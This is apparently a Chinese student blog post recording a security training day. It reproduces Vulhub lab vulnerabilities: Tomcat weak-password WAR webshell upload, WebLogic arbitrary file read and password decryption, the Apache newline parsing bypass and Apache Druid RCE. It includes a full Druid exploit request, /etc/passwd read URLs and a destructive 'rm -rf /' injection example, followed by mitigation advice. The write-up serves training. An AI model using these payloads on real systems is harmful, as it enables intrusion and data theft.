实训第八天

2201_75543195

已于 2024-09-09 14:24:35 修改

阅读量693

点赞数 28

文章标签： github git

于 2024-09-09 11:57:54 首次发布

本文链接：https://blog.csdn.net/2201_75543195/article/details/142037528

版权

一、在vps安装docker和docker-compose

安装docker：

apt-get install docker.io

安装docker-compose：

apt-get install docker-compose

安装成功截图：

二、上课涉及的vulhub漏洞复现与漏洞原因说明

1. tomcat 弱口令/后台文件上传getshell

1.1 在vps上启动靶场：

1.2 在vulhub/tomcat/tomcat8目录下输入docker compose up -d启动环境，环境启动后，

访问http://your-ip:8080

1.3 点击右边“Manager App”进入登录页面，存在弱口令用户名和密码tomcat；tomcat。输入即可进入后台控制界面

1.4 在后台管理界面选择shell.war并上传

使用下面的命令将下面的shell.jsp打包为war包

jar -cvf shell.war shell.jsp

上传成功，木马被解压到了/shell目录下

1.5 使用冰蝎进行连接：

漏洞复现成功

2. weblogic 弱口令/任意文件读取

2.1 创建并启动容器

2.2 启动靶场后访问http://47.108.31.56:7001/console，即为weblogic后台

2.3 存在弱口令weblogic/Oracle@123，可以直接登录管理后台

2.4 前台存在任意文件读取漏洞，在不知道登录密码的情况下可通过此漏洞读取weblogic加密后的密码文件，如使用如下URL读取/etc/passwd：

http://your-ip:7001/hello/file.jsp?path=/etc/passwd

从中可以读取敏感的密码信息：

2.5 访问可以读取到passwd

因为weblogic密码使用AES进行加密。所以需要找到密文和密钥文件，然后进行解密

SerializedSystemIni.dat是一个二进制文件，所以一定要用burpsuite来读取，用浏览器直接下载可能引入一些干扰字符。使用任意文件读取，读取路径./security/SerializedSystemIni.dat

获取到密钥文件

最后使用weblogic_decrypt.jar进行破解密码

3. apache 换行解析漏洞

3.1 启动靶场后访问8080端口，可以看到一个文件上传页面

若文件名为*.php提交就显示bad file，代表上传失败；若为其他则不显示，代表上传成功

3.2 通过burpsuit进行抓包修改php后缀，在文件名后添加一个\x0A,再发送

接下来访问一句话木马test.php%0a

http://your-ip:8080/test.php%0A

3.3 漏洞成因：

程序在解析PHP时，如果文件名最后有一个换行符x0A，apache依然会将其当成php解析，但是在上传文件时可以成功的绕过黑名单。该程序是采用黑名单的形式，如果文件后缀名不在名单内即可上传，所以 a.php\x0A不在黑名单列表中，可以上传。但是x0A是换行符，所以apache会直接忽略，将其当成php来执行。

4. apache druid RCE

4.1 启动靶场

访问IP:8888进入Druid console控制台界面，点击Load data -->Local disk-->Connect data

右侧添加以下内容后，开启burp拦截，点击Apply

Base directory: quickstart/tutorial/

File filter: wikiticker-2015-09-12-sampled.json.gz

4.2 开启burp拦截，点击Apply

把POST请求包发送到Repeater，修改为以下内容后发送：

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 47.108.31.56:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/json;charset=utf-8
Content-Length: 916
Origin: http://47.108.31.56:8888
Connection: keep-alive
Referer: http://47.108.31.56:8888/unified-console.html
Priority: u=0


{
    "type":"index",
    "spec":{
        "ioConfig":{
            "type":"index",
            "firehose":{
                "type":"local",
                "baseDir":"/etc",
                "filter":"passwd"
            }
        },
        "dataSchema":{
            "dataSource":"test",
            "parser":{
                "parseSpec":{
                "format":"javascript",
                "timestampSpec":{
 
                },
                "dimensionsSpec":{
 
                },
                "function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
                "":{
                    "enabled":"true"
                }
                }
            }
        }
    },
    "samplerConfig":{
        "numRows":10
    }
}

点击发送，可以看到id命令已被成功执行

4.3 漏洞成因

在 Druid 0.20.0 及更低版本中，经过身份验证的用户可以构造传入的json串来控制一些敏感的参数发送恶意请求，利用 Apache Druid 漏洞可以执行任意代码2.3 tomcat 弱口令/后台文件上传getshell

三、总结RCE漏洞的原理和利用条件及解决方案

1. RCE漏洞原理

RCE漏洞的根本原因在于应用程序未能正确验证用户输入，或者在处理敏感操作时未能进行严格的权限控制。具体原理如下：

3.1 不安全的数据处理：

当Web应用或API接受用户输入并在后端处理时，如果未经充分过滤或转义就将其作为命令或脚本的一部分执行，攻击者就能通过精心构造的输入插入恶意代码。
例如，假设一个网站有一个用于执行系统命令的功能，但没有对用户提供的参数进行检查。攻击者可能提交类似于 ping; rm -rf / 的命令，系统将会先执行正常的ping命令，随后删除所有文件，这就是典型的命令注入导致的RCE。

3.2 不安全的API调用：

应用程序在调用外部系统API或组件时，如果信任了不可信的数据，也可能触发RCE。例如，一些编程语言库在处理反序列化操作时，如果没有对反序列化的对象进行安全检查，攻击者就可以通过构造特殊的序列化数据来执行任意代码。
未修补的漏洞利用：

3.3 许多RCE漏洞源于第三方软件或系统组件中的已知漏洞。

例如，早期的FastCGI PHP解析器存在漏洞，攻击者可以通过特制的HTTP请求，注入并执行PHP代码。

2. RCE漏洞的利用条件

1. 存在可执行的命令或代码接口：服务器应用提供了能够执行系统命令或外部代码的接口。
2. 输入可控：攻击者能够控制接口的参数或输入数据。
3. 过滤不严或存在逻辑漏洞：服务器端对输入数据的过滤不严或存在逻辑漏洞，使得攻击者能够绕过过滤机制。

3. RCE漏洞的解决方案

1. 严格输入验证：确保所有不受信任的输入都经过严格的过滤和校验，不允许包含可能构成命令或代码的特殊字符。
2. 最小权限原则：确保执行系统命令或API调用的应用程序进程拥有尽可能低的权限，以限制攻击者一旦成功利用RCE后的行动范围。
3. 代码审查与安全编码：开发团队应遵循安全编码规范，避免使用易导致RCE的危险函数，并定期进行代码审计。
4. 及时更新补丁：保持所有系统和第三方组件的最新状态，尽快修补已知的安全漏洞。
5. 沙箱技术：在可能的情况下，采用沙箱或者其他形式的隔离技术，限制代码执行的环境。